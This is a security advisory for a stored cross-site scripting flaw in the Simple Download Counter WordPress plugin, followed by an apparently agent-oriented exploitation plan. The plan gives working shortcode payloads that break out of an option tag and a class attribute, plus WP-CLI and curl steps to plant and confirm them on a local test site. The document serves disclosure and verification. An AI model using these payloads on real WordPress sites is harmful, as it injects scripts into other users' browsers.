Simple Download Counter <= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'text' Shortcode Attribute
Description
The Simple Download Counter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sdc_menu' shortcode in all versions up to, and including, 2.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes, specifically the 'text' and 'cat' attributes. The 'text' attribute is output directly into HTML content on line 159 without any escaping (e.g., esc_html()). The 'cat' attribute is used unescaped in HTML class attributes on lines 135 and 157 without esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.3What Changed in the Fix
Changes introduced in v2.3.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4278 - Simple Download Counter Stored XSS ## 1. Vulnerability Summary The **Simple Download Counter** plugin (up to version 2.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode `[sdc_menu]` which processes user-supp…
Show full research plan
Exploitation Research Plan: CVE-2026-4278 - Simple Download Counter Stored XSS
1. Vulnerability Summary
The Simple Download Counter plugin (up to version 2.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode [sdc_menu] which processes user-supplied attributes. Specifically, the text and cat attributes are concatenated directly into the HTML output without being sanitized or escaped using WordPress security functions like esc_html() or esc_attr(). This allows an authenticated user with at least Contributor permissions (who can create posts and use shortcodes) to inject malicious scripts that execute in the context of any user viewing the affected page.
2. Attack Vector Analysis
- Shortcode:
[sdc_menu] - Vulnerable Attributes:
text,cat - Authentication Level: Authenticated (Contributor+)
- Endpoint: Post/Page editor (to save the shortcode) and the Frontend (where the shortcode is rendered).
- Preconditions: The attacker must be able to save a post or page containing the shortcode. In standard WordPress configurations, Contributors can save drafts. The XSS will trigger when an Admin reviews the draft or if the post is published and viewed.
3. Code Flow
- Entry Point: The shortcode is registered in
simple-download-counter.phpvia:add_shortcode('sdc_menu', 'simple_download_counter_menu'); - Attribute Extraction: Inside
inc/functions-shortcode.php, the functionsimple_download_counter_menu($atts)is called. It usesshortcode_attsto define defaults and extract user input:extract(shortcode_atts(array( 'cat' => '', 'number' => 3, 'extra' => 'false', 'text' => 'Download more...', ), $atts, 'sdc_menu')); - Vulnerable Sinks (Cat Attribute):
- Line 135:
$output = '<ul class="sdc-menu-list sdc-menu-list-'. $cat .'">'; - Line 157:
$output .= '<select class="sdc-menu-select sdc-menu-select-'. $cat .'" onchange="...">';
- Line 135:
- Vulnerable Sink (Text Attribute):
- Line 159:
$output .= '<option disabled selected>'. $text .'</option>';
- Line 159:
- Return: The unsanitized
$outputis returned to the WordPress content filter and rendered in the browser.
4. Nonce Acquisition Strategy
Shortcodes are executed server-side during the rendering of post content. There is no nonce requirement for a shortcode to execute on the frontend. The "Stored" part of the attack occurs during the standard post-saving process. For a Contributor to save a draft, they use the standard WordPress post.php or REST API endpoints, which are handled by the WordPress core's native CSRF protection. However, since the goal is to demonstrate the XSS rendering, we can bypass the manual UI and use WP-CLI to inject the payload directly into a post.
5. Exploitation Strategy
The goal is to demonstrate that an injected script executes when the post is viewed.
Step-by-Step Plan:
- Inject via
textattribute: This is the most straightforward payload as it sits inside an<option>tag. - Inject via
catattribute: This allows breaking out of an HTML attribute (class).
Payloads:
textPayload:[sdc_menu cat="test" extra="true" text='</option><script>alert("XSS_TEXT_ATTR")</script>']catPayload:[sdc_menu cat='"><script>alert("XSS_CAT_ATTR")</script>' extra="true"]
Execution (HTTP Request via Agent):
The agent should navigate to the created post using browser_navigate. If the script executes, the XSS is confirmed.
6. Test Data Setup
Use WP-CLI to set up the environment efficiently:
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create a Download Category (required by line 118 check):
wp term create sdc_download_category "Exploit Category" --slug=exploit-cat - Create a Post with the Malicious Shortcode:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='[sdc_menu cat="exploit-cat" extra="true" text="</option><script>console.log(\"CVE-2026-4278-SUCCESS\")</script>"]'
7. Expected Results
- When the post is rendered, the HTML source at the location of the shortcode should look like:
<select class="sdc-menu-select sdc-menu-select-exploit-cat" ...> <option disabled selected></option><script>console.log("CVE-2026-4278-SUCCESS")</script></option> ... </select> - The browser console should display
CVE-2026-4278-SUCCESS.
8. Verification Steps
- Verify Content Storage:
wp post get [POST_ID] --field=post_content - Verify Rendered Output (CLI):
Usecurlorhttp_requestto fetch the frontend URL of the post and grep for the raw payload:curl -s http://localhost:8080/?p=[POST_ID] | grep "CVE-2026-4278-SUCCESS" - Verify Execution:
Usebrowser_navigateto the post URL and check for the console log or an alert box.
9. Alternative Approaches
If the cat check at line 118 (if (empty($cat))) is strict or the taxonomy query fails in a way that prevents reaching line 159, ensure that:
- A post of type
sdc_downloadexists and is assigned to the category slug provided in thecatattribute. - Fallback Payload (Cat Attribute): Use
[sdc_menu cat='sdc-list"><script>alert(1)</script>' number="3"]. This targets line 135:<ul class="sdc-menu-list sdc-menu-list-sdc-list"><script>alert(1)</script>">
This bypasses the need for theextra="true"attribute and targets a different sink.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.